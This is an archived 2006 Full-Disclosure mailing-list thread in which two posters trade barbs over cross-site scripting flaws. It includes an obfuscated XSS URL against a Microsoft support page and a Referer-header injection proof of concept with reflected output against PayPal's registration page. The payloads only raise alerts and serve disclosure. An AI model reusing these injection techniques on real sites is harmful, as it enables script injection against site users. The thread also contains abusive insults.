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Re: [Full-disclosure] Re: micosoft.com xss

From: Mad World (penetratorhome.in.th)
Date: Tue Aug 08 2006 - 12:47:36 CDT


For such a words you could eat your hat if I would like to go in public.
It's a last time i am teaching script kiddies for something beond their understanding.
I would like that you have at least small area in your brains that restricts your tong.
If you wouldn't be script kiddie you would take your words back and learn instead.
Yesterdays code is here:

http://support.microsoft.com/newsgroups/default.aspx?lang=en&cr=US&dg=microsoft.public.ccf&sloc=us%27%29%22%20st%79le%3d%22co%6cor%3aex%70ress%69on%28ale%72t%28String.fromCharCode%280x004d%29%2bString.fromCharCode%280x0069%29%2bString.fromCharCode%280x0063%29%2bString.fromCharCode%280x0072%29%2bString.fromCharCode%280x006f%29%2bString.fromCharCode%280x002c%29%2bString.fromCharCode%280x0073%29%2bString.fromCharCode%280x006f%29%2bString.fromCharCode%280x0066%29%2bString.fromCharCode%280x0074%29%2bString.fromCharCode%280x0020%29%2bString.fromCharCode%280x003a%29%2bString.fromCharCode%280x0020%29%2bString.fromCharCode%280x0069%29%2bString.fromCharCode%280x006d%29%2bString.fromCharCode%280x0070%29%2bString.fromCharCode%280x006f%29%2bString.fromCharCode%280x0074%29%2bString.fromCharCode%280x0065%29%2bString.fromCharCode%280x006e%29%2bString.fromCharCode%280x0074%29%2bString.fromCharCode%280x0020%29%2bString.fromCharCode%280x0021%29%29%29%22%20a%3d%22%5c%22%29

Learn,learn,learn (of course if you will have enaugh skills to handle your browser after that).

Greets,
Mad World.

--- thomas.polletgmail.com wrote:

Man you suck, codes or stfu.

I know the code is broken in more than 1 place, i tried registering event handlers, exiting jscript etc. etc. time to move on....

point is xss is everywhere, trust noone etc. etc.

To make my point clear... last of the xsspaypal...

GET https://www.paypal.com/cgi-bin/webscr?cmd=_registration-run HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*
Referer: https://www.paypal.com/cgi-bin/webscr?cmd=_help-ext&source_page=_profile-comparison";alert("xss");var%20f="

results in

....
<script type="text/javascript">
<!--
/* SiteCatalyst Variables */
s.pageName="SignUp:Landing Page";
s.prop11="general/SignupInitial.xsl::_registration-run::0";
s.channel="Sign Up:Landing Page";
s.r="https://www.paypal.com/cgi-bin/webscr?cmd=_help-ext&amp;source_page=_profile-comparison ";alert("xss");var%20f="";
s.prop7="Unknown";
s.prop8="Unknown";
s.prop9="Unknown";
s.prop10="US";
s.prop12="Unknown";
s.visitorSampling= "20";
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code) // -->
</script>

in other words.... referer url isn't correctly cleaned for paypal registration page and used for js var.
poc: go to
https://www.paypal.com/cgi-bin/webscr?cmd=_help-ext&source_page=_profile-comparison";alert("xss");s.r="

and click on the sign up link

Have a nice life, die soon,
Thomas

On 08/08/06, Mad World <penetratorhome.in.th> wrote:
Good morning !

You can doubt, it's your right to do so.
Wanna bet ?
Just open your eyes and your nose will show you that you are actually braking silly structure of page in more than one place ..
I's relatively easy using the same exact place of code you tried to make it.
I have working example, it is based on other microsoft "features" as well.

Greets,
- Mad World

--- thomas.polletgmail.com wrote:

From: "Thomas Pollet" <thomas.polletgmail.com>
To: penetratorhome.in.th
Cc: full-disclosurelists.grok.org.uk
Subject: Re: [Full-disclosure] Re: micosoft.com xss
Date: Tue, 8 Aug 2006 10:18:56 +0200

On 08/08/06, Mad World <penetratorhome.in.th> wrote:

  Why do you need it ?
  You already discovered xss, the rest of "job" is just matter
  of technique.
  I think majority of xss submitters here could do it by
  various means.
  M$ is lost in its own complexity of how to do simple things.
  If you could ever give me reasonable answer for why do you
  need this $hit - I could give you the "rest", like others
  could.

I doubt you actually tried getting js executed on page load
(for some reason they try to prevent xss in a number of ways).
I did try and didn't succeed, that's why I ask.
Greets,
Thomas

_____________________________________________________________
Visit Thailand http://www.sawadee.com
Websearch and email: DNSASIA.com .... FAST!
128k dialup: login.samuinet.com

--- thomas.polletgmail.com wrote:

From: "Thomas Pollet" <thomas.polletgmail.com>
To: penetratorhome.in.th
Cc: full-disclosurelists.grok.org.uk
Subject: Re: [Full-disclosure] Re: micosoft.com xss
Date: Tue, 8 Aug 2006 10:18:56 +0200

On 08/08/06, Mad World <penetratorhome.in.th> wrote:

  Why do you need it ?
  You already discovered xss, the rest of "job" is just matter
  of technique.
  I think majority of xss submitters here could do it by
  various means.
  M$ is lost in its own complexity of how to do simple things.
  If you could ever give me reasonable answer for why do you
  need this $hit - I could give you the "rest", like others
  could.

I doubt you actually tried getting js executed on page load
(for some reason they try to prevent xss in a number of ways).
I did try and didn't succeed, that's why I ask.
Greets,
Thomas

_____________________________________________________________
Visit Thailand http://www.sawadee.com
Websearch and email: DNSASIA.com .... FAST!
128k dialup: login.samuinet.com

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